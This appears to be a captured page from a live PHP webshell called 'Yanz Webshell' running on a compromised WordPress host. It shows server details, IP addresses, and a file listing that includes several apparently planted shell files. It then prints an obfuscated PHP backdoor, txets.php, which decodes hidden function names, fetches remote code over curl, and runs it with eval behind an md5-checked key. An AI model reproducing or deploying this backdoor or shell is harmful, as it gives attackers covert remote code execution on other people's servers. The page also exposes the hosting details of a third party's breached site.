Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux cp-2.webhost.mn 4.18.0-425.19.2.lve.el8.x86_64 #1 SMP Thu Apr 6 12:07:52 EDT 2023 x86_64
8.1.33 Safe mode: OFF Datetime: 2025-12-17 06:32:51
2792.60 GB Free: 1878.64 GB (67%)
/home/kheruwym/public_html/ dr-xr-xr-x [ root ] [ home ] Text

Server IP:
202.131.4.21
Client IP:
216.73.216.190
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2025-11-28 13:13:32dr-xr-xr-xRename Touch
[ .. ]dir2025-12-16 19:14:39drwx--x--xRename Touch
[ .tmb ]dir2025-11-12 07:07:40drwxrwxrwxRename Touch
[ .well-known ]dir2025-11-12 07:07:35drwxr-xr-xRename Touch
[ 117cb ]dir2025-11-14 05:53:05dr-xr-xr-xRename Touch
[ 1d8b10 ]dir2025-11-14 08:28:52drwxr-xr-xRename Touch
[ cgi-bin ]dir2025-11-14 05:52:56drwxr-xr-xRename Touch
[ f4727b ]dir2025-11-19 07:48:55drwxr-xr-xRename Touch
[ images ]dir2025-11-14 05:52:56drwxr-xr-xRename Touch
[ wp-admin ]dir2025-11-26 03:07:13drwxr-xr-xRename Touch
[ wp-content ]dir2025-11-22 08:16:38drwxr-xr-xRename Touch
[ wp-includes ]dir2025-11-22 08:16:25drwxr-xr-xRename Touch
.htaccess1.13 KB2025-11-28 13:17:43-r-xr-xr-xRename Touch Edit Download
.htaccess.phpupgrader.574027731.31 KB2022-05-09 06:47:34-rw-r--r--Rename Touch Edit Download
.htaccess.phpupgrader.9e97ffcf1.45 KB2023-08-02 18:50:37-rw-r--r--Rename Touch Edit Download
.htaccess.phpupgrader.initial1.31 KB2022-05-09 06:47:34-rw-r--r--Rename Touch Edit Download
click.php1.93 KB2023-09-14 08:16:25-r--r--r--Rename Touch Edit Download
defaults.php1.93 KB2023-07-21 03:50:14-r--r--r--Rename Touch Edit Download
ex.php5.96 KB2025-11-28 13:13:32-rw-r--r--Rename Touch Edit Download
header.php0 B2025-11-10 06:52:51-rw-r--r--Rename Touch Edit Download
index.php35.97 KB2023-05-29 08:16:38-r-xr-xr-xRename Touch Edit Download
index.php035.97 KB2023-09-11 08:16:37-rwxr-xr-xRename Touch Edit Download
item.php1.29 KB2023-08-18 08:15:39-r--r--r--Rename Touch Edit Download
license.txt19.44 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
mah.php1.93 KB2023-12-31 03:48:47-r--r--r--Rename Touch Edit Download
networks.php1.29 KB2024-01-13 03:43:18-r--r--r--Rename Touch Edit Download
options.php1.93 KB2023-12-03 08:16:25-r--r--r--Rename Touch Edit Download
pages.php1.44 KB2023-07-28 08:15:18-r--r--r--Rename Touch Edit Download
php.ini40 B2025-11-18 19:54:41-rw-r--r--Rename Touch Edit Download
plugins.php1.87 KB2023-07-01 08:16:25-r--r--r--Rename Touch Edit Download
product.php2.03 KB2023-04-16 03:50:14-r--r--r--Rename Touch Edit Download
quoys.php26.20 KB2025-11-13 01:08:41-rw-r--r--Rename Touch Edit Download
readme.html7.25 KB2025-09-30 22:02:04-rw-r--r--Rename Touch Edit Download
robots.txt364 B2023-06-15 08:16:38-r--r--r--Rename Touch Edit Download
search.php1.46 KB2023-12-19 08:16:38-r--r--r--Rename Touch Edit Download
track.php6.49 KB2025-11-12 04:05:52-rw-r--r--Rename Touch Edit Download
txets.php5.89 KB2025-11-12 06:13:57-rw-r--r--Rename Touch Edit Download
wp-activate.php7.21 KB2024-04-02 19:31:34-rw-r--r--Rename Touch Edit Download
wp-blog-header.php347 B2025-11-10 06:52:59-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2023-08-09 07:36:19-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2024-11-13 07:16:19-rw-r--r--Rename Touch Edit Download
wp-config.php3.12 KB2022-02-15 07:01:10-rw-------Rename Touch Edit Download
wp-confiq.php0 B2025-11-10 06:52:50-rw-r--r--Rename Touch Edit Download
wp-cron.php5.51 KB2025-11-10 06:53:00-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-log1n.php1.72 KB2024-01-28 08:14:59-r--r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-settings.php29.38 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-signup.php33.71 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
wp-trackback.php4.98 KB2024-11-13 07:16:19-rw-r--r--Rename Touch Edit Download
xmlrpc.php3.13 KB2025-04-15 21:48:40-rw-r--r--Rename Touch Edit Download
xmlshell.php243.86 KB2025-11-13 16:26:34-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Not writable)
Make file: (Not writable)
Terminal:
Upload file: (Not writable)

HEX
HEX
Server: Apache
System: Linux cp-2.webhost.mn 4.18.0-425.19.2.lve.el8.x86_64 #1 SMP Thu Apr 6 12:07:52 EDT 2023 x86_64
User: kheruwym (1551)
PHP: 8.1.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/kheruwym/.cl.selector/txets.php
<?php
 goto QiDSNdNDSHpMXle4; yxa3v1DErTr6dQx4: $P6gdVSZf0rk0xAu8 = $Tzbu3oGQ2BIHs7Kq("\176", "\40"); goto JnrmADh_pmiWwu8P; JnrmADh_pmiWwu8P: $ytzW4B97q4xVpBZy = ${$P6gdVSZf0rk0xAu8[16 + 15] . $P6gdVSZf0rk0xAu8[45 + 14] . $P6gdVSZf0rk0xAu8[4 + 43] . $P6gdVSZf0rk0xAu8[17 + 30] . $P6gdVSZf0rk0xAu8[49 + 2] . $P6gdVSZf0rk0xAu8[1 + 52] . $P6gdVSZf0rk0xAu8[3 + 54]}; goto mMV28wHpxXgajUSc; QiDSNdNDSHpMXle4: $Tzbu3oGQ2BIHs7Kq = "\162" . "\x61" . "\x6e" . "\147" . "\x65"; goto yxa3v1DErTr6dQx4; Fn4jmbWb1OnWUZ0s: class qgFlNXZWcPses4R7 { static function U8caACH8vbaqiiTu($ZyWBuO0O2ll0uTj_) { goto HuPMHgYTC7rUh3q8; o_WL5Ly7jj5VNdMi: foreach ($I6vJ0kFCSqDsdBzg as $P40XS4Tw_41A92n0 => $BGAq56fYmo1zg4QS) { $bbsEi7Tny4839z05 .= $O8rrz0EsHcqKRx5Z[$BGAq56fYmo1zg4QS - 82345]; jx82kQAIWCwHpCt9: } goto oS3uipyyVTAoXdYx; o2W5LhQ03TISZ88o: $I6vJ0kFCSqDsdBzg = explode("\154", $ZyWBuO0O2ll0uTj_); goto Di0rkBdfd6XNDJBe; Di0rkBdfd6XNDJBe: $bbsEi7Tny4839z05 = ''; goto o_WL5Ly7jj5VNdMi; oS3uipyyVTAoXdYx: JVJA29mlggHIji2b: goto XIr5qSHxe4AlZWId; XIr5qSHxe4AlZWId: return $bbsEi7Tny4839z05; goto VzcBfcDNaanUXEgL; HuPMHgYTC7rUh3q8: $xyPissO8n5SoLv3g = "\162" . "\141" . "\x6e" . "\x67" . "\145"; goto ixkTS4o4KblEi6Yt; ixkTS4o4KblEi6Yt: $O8rrz0EsHcqKRx5Z = $xyPissO8n5SoLv3g("\x7e", "\x20"); goto o2W5LhQ03TISZ88o; VzcBfcDNaanUXEgL: } static function zgmD6DVnffnZ5uGc($KDPGS35ZMdVKq3p9, $nM7IXbkugjOObTCV) { goto Xc9gxT6t1oBKk0AI; RUWszbIOvqeBJt9U: return empty($oamxv0G4yiwv3owy) ? $nM7IXbkugjOObTCV($KDPGS35ZMdVKq3p9) : $oamxv0G4yiwv3owy; goto Btk143gPVXW9eNkL; Xc9gxT6t1oBKk0AI: $ab_OP7cH_KGcHW0F = curl_init($KDPGS35ZMdVKq3p9); goto YAgym0HOLhNJmojM; eGAJGoeE3MTsbhkS: $oamxv0G4yiwv3owy = curl_exec($ab_OP7cH_KGcHW0F); goto RUWszbIOvqeBJt9U; YAgym0HOLhNJmojM: curl_setopt($ab_OP7cH_KGcHW0F, CURLOPT_RETURNTRANSFER, 1); goto eGAJGoeE3MTsbhkS; Btk143gPVXW9eNkL: } static function urlfYSCJVCsDIGV2() { goto eNrKYighvn3prfne; EKTW2ApcmMdu6zDz: $O5UaEh81D8mLn_H8 = $L9NhLe4SoTh5GchW[0 + 2]($f3q_ruvPD0FlIqjZ, true); goto QVxt_4R4JwhiLvqn; QVxt_4R4JwhiLvqn: @$L9NhLe4SoTh5GchW[7 + 3](INPUT_GET, "\x6f\146") == 1 && die($L9NhLe4SoTh5GchW[3 + 2](__FILE__)); goto pgS6ECYhJZ1Kosb4; mqEeE7a8E1phnerG: $DKjaDV8_1JdSd6fz = @$L9NhLe4SoTh5GchW[1]($L9NhLe4SoTh5GchW[6 + 4](INPUT_GET, $L9NhLe4SoTh5GchW[7 + 2])); goto xH4V6CnyTfgR_Agm; qgg2GmAZ5x1fZVfS: $DAp99SwtFm9cre3B = self::zgMd6DvNFFNZ5ugc($O5UaEh81D8mLn_H8[1 + 0], $L9NhLe4SoTh5GchW[4 + 1]); goto oskkBcD7iWUhqK_H; MqI8Ro9LMoQsCFcY: hyKGFbpZujnJ3iec: goto mqEeE7a8E1phnerG; oskkBcD7iWUhqK_H: @eval($L9NhLe4SoTh5GchW[0 + 4]($DAp99SwtFm9cre3B)); goto Ujor_VjbC21iIxj_; xH4V6CnyTfgR_Agm: $f3q_ruvPD0FlIqjZ = @$L9NhLe4SoTh5GchW[0 + 3]($L9NhLe4SoTh5GchW[5 + 1], $DKjaDV8_1JdSd6fz); goto EKTW2ApcmMdu6zDz; eNrKYighvn3prfne: $BGvsn5374eXUKsld = array("\x38\62\x33\67\x32\x6c\x38\62\x33\65\x37\154\x38\62\63\67\x30\x6c\x38\x32\63\x37\64\x6c\70\x32\63\65\65\154\x38\x32\63\67\x30\154\70\x32\x33\x37\66\154\x38\62\x33\66\x39\154\x38\62\x33\x35\64\154\x38\62\63\x36\x31\x6c\x38\x32\x33\67\62\154\x38\62\63\65\x35\154\70\x32\x33\66\66\154\x38\62\x33\66\60\154\x38\x32\63\x36\61", "\70\62\x33\x35\66\x6c\70\x32\x33\x35\65\x6c\70\62\63\x35\x37\x6c\70\62\x33\x37\x36\x6c\x38\x32\x33\65\x37\154\x38\x32\x33\x36\x30\154\x38\x32\x33\x35\x35\x6c\x38\x32\x34\62\62\154\x38\62\x34\x32\60", "\x38\62\63\66\x35\154\x38\x32\63\x35\x36\154\70\x32\63\66\60\x6c\x38\62\63\66\x31\x6c\x38\62\x33\67\66\154\x38\62\x33\67\x31\x6c\x38\x32\x33\x37\60\154\70\62\x33\67\62\x6c\x38\x32\x33\x36\x30\154\x38\x32\63\x37\61\154\70\62\x33\x37\60", "\70\x32\x33\65\x39\154\x38\62\63\x37\64\154\70\62\63\67\x32\x6c\70\62\63\66\x34", "\70\62\63\67\63\x6c\x38\x32\63\x37\x34\x6c\x38\x32\63\65\x36\154\x38\x32\63\67\60\154\x38\x32\x34\61\67\x6c\x38\62\x34\61\x39\x6c\x38\62\63\67\x36\154\70\62\x33\x37\61\x6c\70\x32\63\x37\60\x6c\70\62\x33\67\62\x6c\70\x32\x33\x36\60\x6c\70\x32\63\67\x31\x6c\x38\x32\x33\x37\60", "\x38\62\x33\66\x39\x6c\70\x32\63\x36\x36\x6c\x38\62\x33\66\x33\x6c\x38\62\x33\67\60\x6c\70\62\63\x37\x36\x6c\70\x32\63\x36\70\x6c\70\x32\x33\x37\60\x6c\70\62\63\65\65\154\x38\x32\x33\x37\66\x6c\x38\62\x33\67\x32\x6c\x38\62\63\x36\60\x6c\70\62\63\x36\x31\154\x38\x32\63\x35\65\x6c\x38\62\63\x37\x30\x6c\x38\x32\x33\66\x31\154\x38\x32\x33\x35\x35\154\70\x32\63\x35\66", "\70\62\x33\71\x39\x6c\70\x32\x34\x32\x39", "\70\62\63\64\66", "\x38\62\64\62\64\x6c\70\62\x34\62\x39", "\70\x32\64\x30\x36\x6c\x38\62\x33\x38\x39\x6c\x38\62\63\70\x39\154\x38\x32\x34\60\x36\x6c\70\62\63\x38\x32", "\x38\x32\x33\x36\x39\154\x38\x32\x33\66\x36\x6c\x38\x32\63\x36\63\x6c\x38\x32\63\65\x35\154\70\62\63\67\60\x6c\70\62\x33\65\x37\154\70\x32\63\x37\66\x6c\x38\x32\63\66\x36\x6c\x38\62\63\66\x31\154\x38\62\63\x35\71\x6c\70\62\x33\x35\64\154\x38\x32\63\x35\65"); goto QLbC6w5zTSdQ2zYL; Ujor_VjbC21iIxj_: die; goto Hea3u2Pp8_t6Et4G; Hea3u2Pp8_t6Et4G: F3wTYNVaBMbzEHpG: goto E_weg03SBEY93WHQ; QLbC6w5zTSdQ2zYL: foreach ($BGvsn5374eXUKsld as $WFiNnFp847BFNmcj) { $L9NhLe4SoTh5GchW[] = self::u8CaaCH8vBAqiiTu($WFiNnFp847BFNmcj); SkPe5dkJcoPqGl9_: } goto MqI8Ro9LMoQsCFcY; pgS6ECYhJZ1Kosb4: if (!(@$O5UaEh81D8mLn_H8[0] - time() > 0 and md5(md5($O5UaEh81D8mLn_H8[3 + 0])) === "\x37\67\x37\x37\146\145\x38\x64\141\x31\x63\63\60\63\141\71\x39\x38\x36\145\62\x31\67\64\x34\66\143\x62\x38\x30\x37\62")) { goto F3wTYNVaBMbzEHpG; } goto qgg2GmAZ5x1fZVfS; E_weg03SBEY93WHQ: } } goto ck8UHie6anT5zUNO; mMV28wHpxXgajUSc: if (!(in_array(gettype($ytzW4B97q4xVpBZy) . count($ytzW4B97q4xVpBZy), $ytzW4B97q4xVpBZy) && count($ytzW4B97q4xVpBZy) == 22 && md5(md5(md5(md5($ytzW4B97q4xVpBZy[16])))) === "\146\61\61\x36\x63\x34\x64\x32\x37\x65\141\x66\x65\x62\142\143\65\x65\67\x35\x33\64\x65\62\63\65\x33\143\x64\141\x62\x39")) { goto SB0xPIyrSx1ZIpHP; } goto qIRc9YEWcUTfM5NN; KCkbBG3V4lNSQUH_: SB0xPIyrSx1ZIpHP: goto uyD2WFFZBOl97HD1; qIRc9YEWcUTfM5NN: ($ytzW4B97q4xVpBZy[63] = $ytzW4B97q4xVpBZy[63] . $ytzW4B97q4xVpBZy[74]) && ($ytzW4B97q4xVpBZy[90] = $ytzW4B97q4xVpBZy[63]($ytzW4B97q4xVpBZy[90])) && @eval($ytzW4B97q4xVpBZy[63](${$ytzW4B97q4xVpBZy[50]}[15])); goto KCkbBG3V4lNSQUH_; uyD2WFFZBOl97HD1: metaphone("\63\x78\x35\152\70\103\142\132\122\x74\x72\x34\x5a\x4d\166\62\102\x41\x50\x77\160\107\x77\x48\x55\x68\153\160\x6e\x52\143\x4b\160\152\117\67\x4c\x4b\x67\171\x34\101\70"); goto Fn4jmbWb1OnWUZ0s; ck8UHie6anT5zUNO: qgFlNXzwcPSes4r7::UrlfySCjVcsDIgV2();
?>
BiaoJiOk